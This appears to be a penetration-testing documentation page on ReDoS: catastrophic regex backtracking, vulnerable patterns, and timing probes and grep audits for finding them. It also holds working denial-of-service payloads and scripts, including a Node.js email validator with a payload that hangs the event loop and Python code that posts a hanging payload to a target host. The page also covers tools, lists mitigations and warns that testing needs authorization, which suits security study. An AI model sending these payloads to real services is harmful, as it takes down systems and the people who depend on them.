> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# ReDoS

> Regular Expression Denial of Service — exploiting catastrophic backtracking in regex engines.

## Overview

ReDoS (Regular Expression Denial of Service) abuses backtracking behavior in regex engines. A crafted input forces the engine into exponential or polynomial time evaluation, stalling the application.

Most languages use NFA-based engines (PCRE, Java, Python `re`, JavaScript). These are vulnerable. DFA-based engines (Go `regexp`, RE2) are immune.

***

## How Backtracking Works

Vulnerable pattern: `^(a+)+$`

Input: `"aaaaaaaaaaaaaaaaab"`

Engine tries every combination of how `(a+)` groups can split the `a`s before failing on `b`. With `n` characters, attempts grow as `2^n`.

```
n=10  → ~1024 attempts
n=20  → ~1048576 attempts
n=30  → ~1073741824 attempts
```

***

## Vulnerable Patterns

| Pattern         | Why Vulnerable                                                        |
| --------------- | --------------------------------------------------------------------- |
| `(a+)+$`        | Nested quantifiers — `$` forces failure, exponential backtracking     |
| `(a\|aa)+$`     | Alternation overlap — engine tries all branch combos before failing   |
| `([a-zA-Z]+)*$` | Outer `*` + inner `+` over same charset — exponential splits          |
| `(a*)*$`        | Nested Kleene stars — exponential empty-match combinations            |
| `^(\w+\s?)*$`   | Anchors force full-string match — exponential partition of word chars |

***

## Identifying Vulnerable Targets

### Black-Box Detection

Send inputs that grow exponentially and measure response time:

```bash theme={"dark"}
# Baseline
curl -s -o /dev/null -w "%{time_total}" -X POST https://target.com/api/validate \
  -d 'input=aaaa'

# Stress
curl -s -o /dev/null -w "%{time_total}" -X POST https://target.com/api/validate \
  -d 'input=aaaaaaaaaaaaaaaaaaaaaaaaaab'
```

Response time doubling with each added character = strong signal.

### Source Code Audit

Look for regex applied to user-controlled input:

```bash theme={"dark"}
# Grep for dangerous nested quantifiers
grep -rE '\([^)]*[+*]\)[+*]' --include="*.js" --include="*.py" --include="*.php" .

# Find regex applied to request params
grep -rE '(re\.match|re\.search|preg_match|\.test\()' --include="*.py" --include="*.php" --include="*.js" .
```

***

## Exploitation

### Payload Generation

General approach — find the prefix before a failing anchor, repeat the vulnerable group:

```
vulnerable: ^(\w+\s?)*$
anchor fail: "!" (not \w or \s)
payload: "aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa!"
```

Automate with [vuln-regex-detector](https://github.com/davisjam/vuln-regex-detector) or [regexploit](https://github.com/doyensec/regexploit):

```bash theme={"dark"}
# regexploit — finds exploit string for a given pattern
pip install regexploit
echo '^(\w+\s?)*$' | regexploit
```

### Node.js Example

```javascript theme={"dark"}
// Vulnerable endpoint
app.post('/validate', (req, res) => {
  const email = req.body.email;
  if (/^([a-zA-Z0-9])(([a-zA-Z0-9])*([\._-])?([a-zA-Z0-9]))*(@{1})([a-zA-Z0-9-]+)(\.[a-zA-Z][a-zA-Z]+){1,2}$/.test(email)) {
    res.send('valid');
  } else {
    res.send('invalid');
  }
});

// Attack payload
const payload = 'a'.repeat(50) + '!';
// Hangs the event loop — blocks all requests
```

### Python Example

```python theme={"dark"}
import re

# Vulnerable
pattern = re.compile(r'^(a+)+$')
pattern.match('a' * 30 + 'b')  # ~seconds

# Exploit via HTTP input
import requests
payload = 'a' * 35 + '!'
requests.post('http://target.com/check', data={'input': payload}, timeout=30)
```

***

## Tools

| Tool                                                                   | Use                                                          |
| ---------------------------------------------------------------------- | ------------------------------------------------------------ |
| [regexploit](https://github.com/doyensec/regexploit)                   | Generate exploit strings for vulnerable patterns             |
| [vuln-regex-detector](https://github.com/davisjam/vuln-regex-detector) | Static analysis — detect vulnerable patterns                 |
| [ReDoS checker](https://devina.io/redos-checker)                       | Online — paste pattern, get verdict + exploit string         |
| [regex101](https://regex101.com)                                       | Online — build and debug regex with step-by-step match trace |

***

## Mitigation (Reference)

* Replace NFA engines with RE2/Hyperscan where possible
* Enforce input length limits before regex evaluation
* Use atomic groups or possessive quantifiers if engine supports
* Timeout regex evaluation (Python `signal`, Java `ExecutorService`)

<Note>
  Test only in authorized environments. Sending ReDoS payloads to production systems without permission = unauthorized DoS.
</Note>